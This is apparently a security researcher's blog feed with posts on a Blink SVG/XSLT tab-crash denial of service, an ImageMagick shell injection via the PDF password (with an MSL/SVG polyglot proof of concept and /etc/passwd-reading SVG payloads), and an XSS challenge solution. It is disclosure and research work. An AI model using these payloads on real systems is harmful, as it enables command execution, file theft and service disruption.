tag:blogger.com,1999:blog-58867619147638049092026-02-02T02:05:29.037-08:00InsertScriptAlex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]Blogger33125tag:blogger.com,1999:blog-5886761914763804909.post-2308153476463635462025-01-19T10:19:00.000-08:002025-01-19T10:19:58.895-08:00Blink - DoS of tab via SVG in img tag / CSS context<p>This is just a quick blogpost to document a behavior in the Blink engine in regards to the processing of SVG images in the context of the HTML img tag, CSS or any context where SVG is treated as an "static" image. It allows SVG images to use inline XSLT stylesheets, which is crafted in such a way to cause a memory exhaustion of the tab viewing the page that includes the malicious SVG image. </p><p>This can be used when someone either found a HTML injection or a CSS injection, which can not be exploited further, but allows to load a remote image. But in the end it is nothing major as often something similar can be achieved through other means. </p><h4 style="text-align: left;">The origin </h4><div><br /></div><div>I can't remember why or how but some years ago I stumbled upon the following blogpost <a href="https://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html">https://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html</a> by <a href="https://x.com/scarybeasts">https://x.com/scarybeasts</a>. </div><div><br /></div><div>Even back then I had to use the WayBack machine to access the linked <i>expensive_xsl_svg.html</i> file to see what SVG file is loaded.</div><div><a href="https://web.archive.org/web/20110813092347/http://cevans-app.appspot.com/static/expensive_xsl_svg.html">https://web.archive.org/web/20110813092347/http://cevans-app.appspot.com/static/expensive_xsl_svg.html</a></div><div><br /></div><div>Loaded SVG:</div><div><a href="https://web.archive.org/web/20110813092358im_/http://cevans-app.appspot.com/static/expensive.svg">https://web.archive.org/web/20110813092358im_/http://cevans-app.appspot.com/static/expensive.svg</a>.</div><div><br /></div><div>This is basically the reason why I decided to write a blogpost to document this behavior again. I also have found that not everyone is aware of this behavior. </div><div><br /></div><h4 style="text-align: left;">The issue</h4><div><br /></div><div>Well examples are better than words:</div><div><br /></div><div><b>Dos via <img> tag:</b></div><pre><code class="html"><div><div><img src="./dos.svg"></div><div><div>wait for the tab to crash - this depends on your system</div></div></div></code></pre><div><br /></div><div><b>DoS via CSS background-image example:</b></div><pre><code class="html"><div><div><div style="background-image: url('./dos.svg')">dos</div></div><div><div>wait for the tab to crash - this depends on your system</div></div></div></code></pre><div><br /></div><div><b>Content of dos.svg</b></div><pre><code class="xml"><div><div><?xml version="1.0"?></div><div><?xml-stylesheet type="text/xsl" href="#stylesheet"?></div><div><!DOCTYPE responses [</div><div> <!ATTLIST xsl:stylesheet</div><div> id ID #REQUIRED</div><div>></div><div>]></div><div><root></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <node/></div><div> <xsl:stylesheet id="stylesheet" version="1.0"</div><div>xmlns:xsl="http://www.w3.org/1999/XSL/Transform"></div><div> <xsl:template match="/"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><xsl:for-each select="/root/node"></div><div><pwnage/></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div></xsl:for-each></div><div> </xsl:template></div><div> </xsl:stylesheet></div><div></root></div></div></code></pre><div><br /></div><div>If you open the following links and wait a few seconds in eg. Chrome it will cause a crash of the tab. <b>NOTE </b>that it can take some seconds until the tab actually "crashes", which is also highly influenced by your system.</div><div><b>Firefox </b>is <b>NOT </b>affected as it does not support XSLT in SVG files, which are loaded eg via an img tag, CSS or other "static" contexts.</div><div><b>YES Safari </b>seems also affected.</div><div><br /></div><div><a href="https://insert-script.com/blogposts/inlinexsltsvg/dos_img.html" rel="nofollow" target="_blank">HTML img example</a></div><div><br /></div><div><a href="https://insert-script.com/blogposts/inlinexsltsvg/dos_css.html">CSS background-image example</a></div><div><br /></div><h4 style="text-align: left;">Explotation</h4><div><br /></div><div>As mentioned, this behavior can be abused in case a website allows a user to specify a remote image, which is subsequently loaded via eg. an HTML img. tag. It is also usable as a last resort in case of a CSS injection via eg. the background-image property to at least cause a DoS of the page where the injection occurs.</div><div>Of course other HTML tags/attributes or CSS property, which allow to load an image are applicable.</div><div>Powerful XSLT functions like document() are not available/executed. </div><div>Please note I did not try all CSS property/HTML tags + "powerful" xslt functions, so feel free to try. </div><div><br /></div><div>In the end this is solely a blogpost to have this behavior once again properly documented in 2025.</div>Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-64519462009877536182020-11-21T04:35:00.002-08:002020-11-23T10:44:31.698-08:00ImageMagick - Shell injection via PDF password<p><i>"Use ImageMagick® to create, edit, compose, or convert bitmap images. It can read and write images in a variety of formats (over 200) including PNG, JPEG, GIF, HEIC, TIFF, DPX, EXR, WebP, Postscript, PDF, and SVG [ and many more ]"</i><a href="https://imagemagick.org/index.php">1</a></p><p>In 2016 <a href="https://imagetragick.com/">ImageTragick</a> was revealed. The associated reseachers showed that ImageMagick is not only powerful, eg you can read local files, but that it is possible to execute shell commands via a maliciously crafted image. </p><p>In late <a href="https://seclists.org/oss-sec/2016/q4/29">2016 </a>and in <a href="https://seclists.org/oss-sec/2018/q3/142">2018</a> Tavis Ormandy (<a href="https://twitter.com/taviso">@taviso</a>) showed how the support of external programs ( ghostscript) in ImageMagick could lead to remote execution.</p><p>Given the past research I had a quick look at the supported external programs (libreoffice/openoffice I already spent quite some time on), and I decided to get a proper understanding how IM (ImageMagick) calls external programs and the way they fixed the shell injections in the ImageTragick report.</p><p>As you are reading this blogpost, it paid off and I found a vulnerability. But I also learned two things:</p><p><b>Note:</b><br />1) The IM team is really active and is trying to address any issue raised quickly (thats important later)<br />2) ImageMagick is an awesome tool to convert files. It supports some really weird old file types (often via external programs) and is trying to be as user friendly as possible, maybe a little too much ^^ </p><p><br /></p><h4 style="text-align: left;">The Fix: ImageMagick, https and cURL</h4><div><br /></div><div>An important part of ImageMagick and how it handles files is not solely the infamous <i>delegates.xml</i> file but the <a href="https://github.com/ImageMagick/ImageMagick/tree/master/coders" target="_blank">coders</a> folder. </div><div>The <a href="https://github.com/ImageMagick/ImageMagick/blob/master/config/delegates.xml.in" target="_blank">delegates.xml</a> file specifies the commands and parameters to call an external program to handle a certain file type. But before that the handlers in the aforementioned coders folders are used to parse a file and determine if an external program needs to be called (this is a simplification but in most cases it works this way)<br />As there are lot of files in coders, I decided to check how <i>https:</i> URLs are handled by ImageMagick as I already knew curl will be used in the end, which was vulnerable to command injection.</div><div><br /></div><div>To keep it short - the <i>https:</i> handler is registered in this line:<br /> <a href="https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L327">https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L327</a></div><div><br /></div><div>In case IM has to handle <i>https:</i> URLs - the following branch is called:</div><div><a href="https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L157">https://github.com/ImageMagick/ImageMagick/blob/master/coders/url.c#L157</a></div><div><pre><code class="c">status=InvokeDelegate(read_info,image,"https:decode",(char *) NULL,</code></pre></div><div><br /></div><div><i>InvokeDelegate</i> calls <i>InterpretDelegateProperties</i>, which calls <i>GetMagickPropertyLetter</i>, which calls <a href="https://github.com/ImageMagick/ImageMagick/blob/master/MagickCore/delegate.c#L526" target="_blank"><i>SanitizeDelegateString</i></a>. </div><div><br /></div><div><pre><code class="c">whitelist[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 "
"$-_.+!;*(),{}|\\^~[]`\"><#%/?:@&=";
[...]
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
*p='_';
return(sanitize_source);</code></pre></div><div><br /></div><div>This function basically replaces ' (single quotes) with "_" on non-windows system (which I assume as the default). This is important as in the end <a href="https://github.com/ImageMagick/ImageMagick/blob/master/MagickCore/delegate.c#L341" target="_blank">ExternalDelegateCommand</a> is called. </div><div>This function handles calling external executables. The defined curl command in delegates.xml is used and the user defined URL is included in single quotes. As single quotes were filtered before, it is not possible to inject additional shell commands. </div><div><br /></div><div>I verified that by modifying the source code of IM and included some <i>printf</i> statements to dump the created command. </div><div>So let's assume a SVG or MVG (an example is available in ImageTragick) that specifies an <i>https:</i> URL like this: </div><div><pre><code class="XML"><svg width="200" height="200"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="<span style="background-color: #eeeeee;">https://example.com/test'injection</span>" height="200" width="200"/>
</svg></code></pre></div><div><b>Command line:</b></div><div><pre><code class="js">convert test.svg out.png</code></pre></div><div><br /></div><div>The created shell command by ImageMagick looks like this:</div><div><div><pre><code class="shell">curl -s -k -L -o 'IMrandomnumber.dat' 'https://example.com/<span style="background-color: #f3f3f3; color: red;">test_injection</span>'</code></pre></div></div><div><br /></div><div><b>Important Note:</b> As shown by this example, different coders can call each other as in this case SVG triggers the execution of the <i>url.c</i> coder. In case ImageMagick is compiled to use a third-party library like <i>librsvg</i> to parse SVG files, the third party library handles protocols by itself. In this scenario it is still possible to trigger ImageMagicks own SVG parsers via the <a href="https://github.com/ImageMagick/ImageMagick/blob/master/coders/svg.c#L3793">MSVG</a> support ("ImageMagick's own SVG internal renderer"):</div><div><pre><code class="HTML">convert <span style="color: red;">test.msvg</span> out.png</code></pre></div><div><br /></div><div>ImageMagick also allows to set a specific handler via this syntax:</div><div><pre><code class="HTML">convert <span style="color: red;">msvg:test.svg</span> out.png</code></pre></div><div><br /></div><h2 style="text-align: left;">Short intermission - reading local files</h2><div>As ImageMagick allows to set specific file handlers as shown above, I decided to make a quick assessment, which handlers could allow to read and leak local files. </div><div>My test case assumed that a user controlled SVG file is converted by IMs internal SVG parser to a PNG file, which is returned to the end user afterwards. An example could be an avatar upload on a website.</div><div><pre><code class="HTML">convert test.svg userfile.png</code></pre></div><div>The first powerful coder is already mentioned in ImageTragick - <i><a href="https://legacy.imagemagick.org/Usage/text/#text" target="_blank">text</a>:</i>. <i>'The "text:" input format is designed to convert plain text into images consisting one image per page of text. It is the 'paged text' input operator of ImageMagick.</i>'. The coder is registered in <a href="https://github.com/ImageMagick/ImageMagick/blob/master/coders/txt.c#L653" target="_blank">txt.c</a>.</div><div><pre><code class="XML"><svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="<span style="background-color: #eeeeee;">text:/etc/passwd</span>" height="500" width="500"/>
</svg></code></pre></div><div><br /></div><div>Another example to read <i>/etc/passwd</i> is based on LibreOffice. This is possible as LibreOffice supports the rendering of a text file. As ImageMagick has no support for this file type, the corresponding protocol handler can be found via the <i>decode</i> property in <a href="https://github.com/ImageMagick/ImageMagick/blob/master/config/delegates.xml.in#L88" target="_blank">delegates.xml</a>.</div><div>This vector only works of course when OpenOffice/LibreOffice is installed:</div><div><br /></div><div><div><pre><code class="HTML"><svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="<span style="background-color: #f3f3f3;">odt:/etc/passwd</span>" height="500" width="500"/>
</svg></code></pre></div></div><div><br /></div><div>It is also possible to use <i>html:</i> - in case <i>html2ps</i> is installed. Although ImageMagick registers a "HTML" handler, it only sets an <a href="https://github.com/ImageMagick/ImageMagick/blob/master/coders/html.c#L140" target="_blank">encoder </a>entry. Encoders only handle the creation/writing but not reading (this is done by the decoders) of the file type. Therefore the decoder in <a href="https://github.com/ImageMagick/ImageMagick/blob/master/config/delegates.xml.in#L81" target="_blank">delegates.xml</a> is used:</div><div><br /></div><div><pre><code class="HTML"><svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="<span style="background-color: #f3f3f3;">html:/etc/passwd</span>" height="500" width="500"/>
</svg></code></pre></div><div><br /></div><div>This is not an exhausted list but should document the general idea. Back to the shell injection.</div><div><br /></div><h4 style="text-align: left;">Entry Point - Encrypted PDFs</h4><div><br /></div><div>After I got an understanding of the usage of curl, I checked again the command defined in delegates.xml:</div><div><pre><code class="HTML"><delegate decode="https:decode" <br />command="&quot;@WWWDecodeDelegate@&quot; -s -k -L -o &quot;%u.dat&quot; &quot;https:<span style="background-color: #f3f3f3;">%M</span>&quot;"/>
</code></pre></div><div><br /></div><div>%M is replaced with the user-controlled URL. Therefore, I checked all occurrences of %M and if they are handled correctly. Additionally I had a look at all the defined replacement values defined in <a href="https://github.com/ImageMagick/ImageMagick/blob/master/MagickCore/property.c#L2368" target="_blank">property.c</a>. In the end nothing yielded a proper injection vulnerability. </div><div>Then I stumbled upon the following line in the <a href="https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L600" target="_blank">pdf.c</a> coder:</div><div><br /></div><div><div><pre><code class="C">(void) FormatLocaleString(passphrase,MagickPathExtent,<br /> "\"-sPDFPassword=%s\" ",option);</code></pre></div></div><div><br /></div><div>As this seemed to set a password, which is most likely fully user controlled, I looked up how this parameter can be set and if it could be abused. Based on the <a href="https://github.com/ImageMagick/ImageMagick/blob/92b33f01098e0432555baec6a034e67836de7796/ChangeLog#L1720">changelog</a>, ImageMagick added a "<i>-authenticate"</i> command line parameter in 2017 to allow users to set a password for encrypted PDFs.</div><div>So, I tested it via the following command to dump the created command:</div><div><pre><code class="bash">convert -authenticate "password" test.pdf out.png</code></pre></div><div><br /></div><div>Shell command created:</div><div><pre><code class="bash">'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4<br /> -dGraphicsAlphaBits=4 '-r72x72' <span style="background-color: #f3f3f3;">"-sPDFPassword=password"</span> '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9'</code></pre></div><div><br /></div><div>As I confirmed that the password is included in the created <i>gs</i> command, which parses the specified PDF, it was time to check if double quotes are handled correctly:</div><div><br /></div><div><pre><code class="bash">convert -authenticate <span style="background-color: #f3f3f3;">'test" FFFFFF'</span> test.pdf out.png</code></pre></div><div><br /></div><div><pre><code class="bash">'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4<br /> -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" FFFFFF" '-sOutputFile=/tmp/magick-YPvcqDeC7K-Q8xn8VZPwHcp3G1WVkrj7%d' '-f/tmp/magick-sxCQc4-ip-mnuSAhGww-6IFnRQ46CBpD' '-f/tmp/magick-pU-nIhxrRulCPVrGEJ868knAmRL8Jfw9</code></pre></div><div> </div><div><br /></div><div>To my surprise I was able to prematurely close the <i>-sPDFPassword</i> parameter, which allows me to include additional shell commands. The specified <i>"password"</i> has to contain one of the following characters <i>"&;<>|"</i> so the shell injection gets actually triggered. The reason being that ImageMagick will only use the <i>system</i> call (and therefore the system shell) in case one of these characters is <a href="https://github.com/ImageMagick/ImageMagick/blob/master/MagickCore/delegate.c#L400" target="_blank">present</a>:</div><div><br /></div><div><pre><code class="C">if ((asynchronous != MagickFalse) ||
(strpbrk(sanitize_command,"&;<>|") != (char *) NULL))
status=system(sanitize_command); </code></pre></div><div><br /></div><div>Putting alltogether I tested the following command:</div><div><pre><code class="bash">convert -authenticate 'test" `echo $(id)> ./poc`;"' test.pdf out.png</code></pre></div><div>Shell command created: </div><div><div><pre><code class="bash">'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=pngalpha' -dTextAlphaBits=4<br /> -dGraphicsAlphaBits=4 '-r72x72' "-sPDFPassword=test" <span style="background-color: #783f04;">`echo $(id)> ./poc`;</span>"" '-sOutputFile=/tmp/magick-pyNxb2vdkh_8Avwvw0OlVhu2EfI3wSKl%d' '-f/tmp/magick-IxaYR7GhN3Sbz-299koufEXO-ccxx46u' '-f/tmp/magick-GXwZIbtEu63vyLALFcqHd2c0Jr24iitE'</code></pre></div></div><div><br /></div><div>The file "<i>poc"</i> was created and it contained the output of the <i>id</i> command. At this point I had a confirmed shell injection vulnerability.</div><div>The problem was: It is unlikely that a user has the possibility to set the <i>authenticate</i> parameter. So I decided to look for a better PoC:</div><div><br /></div><h4 style="text-align: left;">Explotation - MSL and Polyglots</h4><div><br /></div><div>I needed to find a way to set the "-authenticate" parameter via a supported file type and I already knew where to look at: ImageMagick Scripting Language (MSL). This is a XML based file format supported by ImageMagick, which allows to set the input file, output file and additional parameters. An example file can be found <a href="https://imagemagick.org/script/conjure.php" target="_blank">here</a> - I simplified it a bit:</div><div><br /></div><div><pre><code class="XML"><?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="image.jpg" />
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="image.png" />
</image></code></pre></div><div><br /></div><div><br /></div><div>This file format is not properly documented, which is mentioned by the ImageMagick team, so I checked the source code regarding the supported attributes. I quickly discovered the following line in the <a href="https://github.com/ImageMagick/ImageMagick/blob/7.0.10-34/coders/msl.c#L8134" target="_blank">source code</a> of the MSL coder:</div><div><br /></div><div><pre><code class="C">if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) CloneString(&image_info->density,value);
break;
}</code></pre></div><div><br /></div><div>Via additional debug calls I verified that this path handles any tag, which sets the authenticate attribute. But the code assigns the defined value to the density property, which made no sense. After studying the rest of the MSL code I came to the following conclusion:</div><div><br /></div><div><b>1)</b> This code should set the authenticate attribute similar to the <i>"-authenticate"</i> command line parameter.</div><div><b>2)</b> The code was simply wrong and therefore blocking the possibility to abuse the shell injection.</div><div><br /></div><div>So I decided to do something I haven't done before: Mention this problem via Github and see if it gets fixed (I created a new github account for that) - <a href="https://github.com/ImageMagick/ImageMagick/discussions/2779">https://github.com/ImageMagick/ImageMagick/discussions/2779</a></div><div><br /></div><div>In the end the code was fixed correctly:</div><div><br /></div><div><pre><code class="C">if (LocaleCompare(keyword,"authenticate") == 0)
{
(void) SetImageOption(image_info,keyword,value);
break;
}</code></pre></div><div><br /></div><div>I immediately created a PoC MSL script to verify I could abuse the shell injection. Note that it is necessary to specify the <i>msl:</i> protocol handler so IM actually parses the script file correctly:</div><div><br /></div><div><div><pre><code class="XML"><?xml version="1.0" encoding="UTF-8"?>
<image authenticate='test" `echo $(id)> ./poc`;"'>
<read filename="test.pdf" />
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="out.png" />
</image></code></pre></div></div><div><br /></div><div><pre><code class="bash">convert msl:test.msl whatever.png</code></pre></div><div><br /></div><div>And it worked - the <i>"poc"</i> file was created, proofing the shell injection.</div><div>Last step: Wrap this all up in one SVG polyglot file.</div><div><br /></div><h2 style="text-align: left;">SVG MSL polyglot file:</h2><div>My created polyglot file is a SVG file, which loads itself as an MSF file to trigger the shell injection vulnerability. I will start showing the SVG polyglot file and explain its structure:</div><div><br /></div><div><b>poc.svg:</b></div><div><div><pre><code class="XML"><image authenticate='ff" `echo $(id)> ./0wned`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image></code></pre></div></div><div><br /></div><div>First of all the SVG structure has an image root tag. As the parser does not enforce that the SVG tag is the root tag, IM has no problems parsing this file as a SVG. The SVG structure specifies an image URL, which uses <i>msl:poc.svg</i>. This tells ImageMagick to load <i>poc.svg</i> with the MSL coder. </div><div><br /></div><div>Although MSF is a XML based structure, the MSF coder does not deploy a real XML parser. It only requires that the file starts with a tag it supports. Another trick I used is present in the read tag. It is necessary to target a PDF file to trigger the vulnerability. To bypass this necessity, I specified any known local file and used the <i>pdf:</i> protocol handler to ensure it is treated as a PDF:</div><div><br /></div><div>PoC file in action:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBa5NP93z_9wrtwqCw1JyqzXN7Bk54Dmxpr1ZHHDkr9R8P8V35wsdt5IQEYnp0Ued7Asj7bEjlurIZ9WHpPTl7PS96TWi322OSkmITYbjTLKIJBVJ7JzuXpQAA5CYD4QuIU68iElFQZGGb/s2048/demo2.gif" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="1076" data-original-width="2048" height="345" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBa5NP93z_9wrtwqCw1JyqzXN7Bk54Dmxpr1ZHHDkr9R8P8V35wsdt5IQEYnp0Ued7Asj7bEjlurIZ9WHpPTl7PS96TWi322OSkmITYbjTLKIJBVJ7JzuXpQAA5CYD4QuIU68iElFQZGGb/w658-h345/demo2.gif" width="658" /></a></div><br /><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>The PoC is still not perfect as I have to assume the filename does not get changed as the file has to be able to reference itself. But I decided thats good enough for now. </div><div><br /></div><h4 style="text-align: left;">PreConditions and protection</h4><div><br /></div><div>Obviously this vulnerable only works in case ImageMagick is not compiled with a third-party library, which handles PDF parsing.</div><div>Also a user has to be able to set the "authenticate" parameter, either via the command line or via MSL (as shown in my PoC file).</div><div><br /></div><div>In case ImageMagick must not handle PDF files, it is possible to disable the PDF coder via the <i>policy.xml</i> file therefore preventing the shell injection. How to configure <i>policy.xml</i> is already documented by <a href="https://imagetragick.com/">https://imagetragick.com/</a> (just include "PDF"). </div><div><br /></div><div><b>Affected versions:</b></div><div>- Injection via "-authenticate"</div><div><span> -ImageMagick 7:<span> </span></span>7.0.5-3 up 7.0.10-40</div><div>- Explotation via MSL: </div><div><span> - ImageMagick 7:<span> </span></span>7.0.10-35 up 7.0.10-40</div><div><br /></div><div>Regarding ImageMagick 6 (aka legacy). Based on the source code the following versions should be vulnerable.</div><div><br /></div><div>- Injection via "-authenticate"</div><div> - ImageMagick 6: <span> </span>6.9.8-1 up to 6.9.11-40</div><div>- Explotation via MSL: </div><div> -ImageMagick 6: <span> </span>6.9.11-35 up to 6.9.11-40</div><div><br /></div><div>I focused my testing solely on ImageMagick 7 so I tried ImageMagick 6 really late. It seems the "<i>-authenticate"</i> feature is broken in the legacy branch. But during testing my VM died so I leave it to the readers to create a PoC for ImageMagick 6 (or maybe I will do it as soon as I have some free time)</div><div><br /></div><div><b>Timeline:</b></div><div><br /></div><div>- 2020-11-01: Reported the vuln to ZDI</div><div>- 2020-11-16: Didn't want to wait for any response from ZDI so reported the issue to ImageMagick </div><div>- 2020-11-16: ImageMagick deployed a fix and asked me if I could wait for disclosure, as there is a release planned for this weekend. </div><div>- 2020-11-16-20: Discussed the fix with the ImageMagick team.</div><div>- 2020-11-21: Version 7.0.10-40 and 6.9.11-40 released. </div><div><br /></div><div>I want to thank the ImageMagick developers. They try to address and fix any issues raised as quick as possible (feature or security related, doesn't matter). Additionally they allowed me to provide input how I would address the issue (which is not always accepted^^).</div><div><br /></div><div><br /></div><div><br /></div><div><br /></div>Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-63282135054055123672020-09-07T11:07:00.001-07:002020-09-07T11:07:16.516-07:00XSS Challenge Solution - SVG use<p>I spend quite some on SVG and its features. Additionally I stumbled upon this <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1040755">bug report</a> from <a href="https://twitter.com/SecurityMB">SecurityMB</a>, which abused the SVG <i>use</i> tag. So I decided it is time for a challenge based on this tag. </p><h4 style="text-align: left;"><span face="" style="background-color: white; color: #444444; font-size: 22px;">Challenge Setup</span></h4><div><br /></div><div>The goal of the challenge was to send a message via postMessage, which originates from <i>http://insert-script.com</i>. The deployed Content-Security-Policy only allowed the <i>data:</i> protocol. As this could be easily solved by using <i><script src=data:text/javascript,top.postMessage></i> or via an iframe and the <i>srcdoc</i> attribute, a regular expression is blocking these vectors. Additionally it is mentioned that this challenge can only be solved in Mozilla Firefox.</div><div><br /><pre><code class="HTML"><?php
header("Content-Security-Policy: default-src data:");
?>
<!DOCTYPE html>
<body>
<h4>
Goal: Trigger alert - you did it <br/><br/>
Known solution: Requires Firefox <br/><br/>
Unintended solutions: Most likely possible, haven't really checked <br/><br/>
Headers: Script only adds CSP header, rest is done by the hoster <br/><br/>
Have Fun <br/><br/>
<b>Help:</b> <font color="red">Use</font> the good old <font color="red">SVG </font>
<br/><br/>
Found the solution: DM me - @insertscript <br/>
</h4>
Be the ?xss parameter with you <br/><br/>
<script src='data:text/javascript,
window.addEventListener("message",function(e){
alert(e.origin);
if(e.origin == "http://insert-script.com")
{
alert("you did it!");
}
});'>
</script>
<div id="testpad"></div>
<script src='data:text/javascript,
var challengeInput = new URL(location.href).searchParams.get("xss");
if (/(script|srcdoc)/gi.test(challengeInput))
{
challengeInput = "<i>nope nope nope</i>";
}
testpad.innerHTML = challengeInput;
'>
</script></code></pre>
<h4 style="text-align: left;"><br /></h4><h4 style="text-align: left;">
The solution - SVG use</h4></div><div><br /></div><div>Given the setup of this challenge it was not possible to use the embed, object or iframe tag to load a HTML document via <i>data:</i>, as the origin of the send postMessage is not <i>http://insert-script.com </i>(<a href="https://jsfiddle.net/nytg42zq/">https://jsfiddle.net/nytg42zq/</a>)<i>. </i>For most tags the <i>data:</i> protocol is treated as a unique origin BUT not in the case of the SVG <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/use"><i>use</i></a> tag. </div><div>The SVG <i>use</i> tag allows to reference and load a SVG document. An example structure looks like this - note the hash as it is required to reference the ID of an element in the loaded SVG structure.</div><div><br /></div><div>
<div><pre><code class="HTML"><svg>
<use href='data:image/svg+xml,
<svg id="test" viewBox="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle fill="red" cx="60" cy="60" r="50"/>
</svg><span style="color: red;">#test</span>'></use></svg></code></pre><div><br />Although the SVG specifications contains the <i>script</i> element, it can not be used for the solution as it doesn't get executed by the browser in the context of the SVG use tag (see <a href="https://jsfiddle.net/c7f2v68t/">here</a>). But the SVG specification has a way more interesting tag - foreignObject</div></div></div><div><br /></div><h3 style="text-align: left;">foreignObject</h3><div><br /></div><div><i>"The <foreignObject> SVG element includes elements from a different XML <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/foreignObject">namespace</a>.". </i>This means that SVG can load additional tags from other namespaces (the browser has to support the namespace of course). Therefore it is possible to load HTML tags inside SVG via the XHTML namespace. By specifying the XHTML namespace, the iframe tag and its <i>srcdoc</i> attribute is available once again. This allows now to include a script tag inside a the iframe <i>srcdoc</i> attribute, which loads a script via the <i>data:</i> protocol. As the SVG document loaded via the SVG use tag is considered same origin, although the <i>data:</i> protocol handler is being used, the iframe and therefore its srcdoc document is considered same-origin as well. </div><div><br /></div><div><b>Solution: </b></div><div><pre><code class="URL">http://insert-script.com/challenges/challenge2/xchallenge.php?xss=%3Csvg%3E%3Cuse%20href%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCI%2BCiA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGlmcmFtZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjZG9jPSImbHQ7c2NyaXB0IHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQscGFyZW50LnBvc3RNZXNzYWdlKCZxdW90O2EmcXVvdDssICZxdW90OyomcXVvdDspJyZndDsmbHQ7L3NjcmlwdCZndDsiIC8%2BCiAgICA8L2ZvcmVpZ25PYmplY3Q%2BCjwvc3ZnPg%3D%3D%23rectangle%22%2F%3E%3C%2Fsvg%3E</code></pre><b>The URL decoded payload<br /></b><pre><code class="HTML"><svg><use href="data:image/svg+xml;base64,<br 